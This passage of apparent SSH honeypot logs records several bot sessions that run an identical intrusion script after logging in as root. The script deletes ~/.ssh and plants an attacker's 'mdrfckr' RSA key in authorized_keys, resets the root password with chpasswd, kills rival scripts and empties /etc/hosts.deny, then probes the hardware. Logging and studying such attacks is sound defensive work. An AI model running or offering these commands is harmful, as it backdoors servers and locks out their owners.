AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:06:23.072555+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:06:23.346762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:06:23.645565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pq79u7BaTzb8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:06:23.939319+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:06:24.234603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:06:25.092734+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:06:25.389552+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:06:26.378418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:06:26.676570+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:06:27.884305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:06:28.181187+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:06:28.484416+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:06:28.777713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:06:29.390234+00:00","kind":"output","latency_ms":null,"data":" 13:06:29 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:06:29.685522+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:06:30.334433+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:06:30.632096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:06:31.441133+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:06:31.737612+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:06:32.433531+00:00","kind":"output","latency_ms":null,"data":"top - 13:06:32 up 7 days, 9:56, 0 user, load average: 0.29, 0.32, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:06:32.735894+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:06:33.567136+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:06:33.864413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:06:34.681691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:06:34.978831+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:06:35.282242+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:06:35.578066+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:06:36.915603+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:06:37.211827+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:06:39.055146+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"459198e0-3ad0-4842-ac57-15bd9617cee7","name":"alpine-mindful-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39800,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:33.784479+00:00","ended_at":"2026-08-27T13:04:35.010501+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:04:14.451249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:04:14.750743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:04:18.852301+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:04:19.375533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:04:19.675409+00:00","kind":"input","latency_ms":null,"data":"echo \"root:t1kwNNSMI2xE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:04:19.973789+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:04:20.272395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:04:20.875459+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:04:21.178665+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:04:22.169620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:04:22.470282+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:04:23.517713+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:04:23.819899+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:04:24.673161+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:04:24.971087+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:04:25.473500+00:00","kind":"output","latency_ms":null,"data":" 13:04:25 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:04:25.772357+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:04:26.249634+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:04:26.549253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:04:27.384428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:04:27.686642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:28.385793+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:28 up 7 days, 9:54, 0 user, load average: 0.04, 0.02, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:28.684088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:29.546002+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:29.844413+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:30.732772+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:31.030224+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:31.675943+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:31.975839+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:33.485568+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:33.785280+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:34.923412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"047a388a-5b15-466e-8856-1472d37c2eed","name":"ginger-fearless-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":60034,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":438,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:04.740416+00:00","ended_at":"2026-08-27T13:04:05.848593+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:03:44.394732+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:03:44.832639+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:03:49.044367+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:03:49.364425+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:03:49.803235+00:00","kind":"input","latency_ms":null,"data":"echo \"root:LtSiO0PSagun\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:03:50.241875+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:03:50.685680+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:03:50.967947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:03:51.407218+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:03:52.688770+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:03:53.128040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:03:54.345001+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:03:54.783813+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:03:55.591198+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:03:56.029800+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:03:56.713682+00:00","kind":"output","latency_ms":null,"data":" 13:03:56 up 7 days, 9:54, 0 user, load average: 0.13, 0.12, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:03:57.150508+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:03:58.024293+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:03:58.461591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:03:59.319272+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:03:59.755202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:00.412134+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:00 up 7 days, 9:54, 0 user, load average: 0.13, 0.12, 0.12\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:00.851599+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:01.116489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:01.554204+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:01.892806+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:02.331558+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:02.949228+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:03.394279+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:04.304705+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:04.741218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:05.698953+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"racing","method":"password","accepted":true,"tier":"other"}]} {"id":"391361d1-85c4-4163-a3bc-009c9a036642","name":"craggy-burly-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":39936,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1116,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:59:43.655151+00:00","ended_at":"2026-08-27T12:59:44.427483+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2332,"events":[{"seq":1,"at":"2026-08-27T12:59:16.286393+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:59:16.808232+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T12:59:17.923538+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T12:59:25.371863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T12:59:25.372539+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T12:59:26.245471+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2t5SttjavhId\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T12:59:26.800590+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T12:59:27.433898+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T12:59:28.666348+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T12:59:28.666902+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:59:29.814254+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:59:30.340765+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:59:31.567108+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:59:32.151735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:59:33.303656+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:59:33.304150+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:59:34.453939+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:59:34.455300+00:00","kind":"output","latency_ms":null,"data":" 12:59:34 up 7 days, 9:49, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:59:35.532806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:59:35.533330+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:59:36.408414+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:59:36.408864+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:59:37.285297+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:59:37.285925+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:37 up 7 days, 9:49, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:59:38.508467+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:59:38.509070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:59:39.392379+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:59:39.393126+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:59:40.845143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:59:40.847098+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T12:59:41.715137+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:59:42.436503+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:59:43.655959+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:59:44.147776+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5454","method":"password","accepted":true,"tier":"other"}]} {"id":"fa311760-9d13-49dd-9e08-b5906e2ba25d","name":"balmy-scarlet-koala","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59974,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":458,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:39.450022+00:00","ended_at":"2026-08-27T12:58:40.512283+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:58:20.654392+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:58:21.107809+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:25.078107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:25.391524+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:25.848425+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lQTKjzyacDK3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:26.311664+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:26.763715+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:27.198573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:27.656721+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 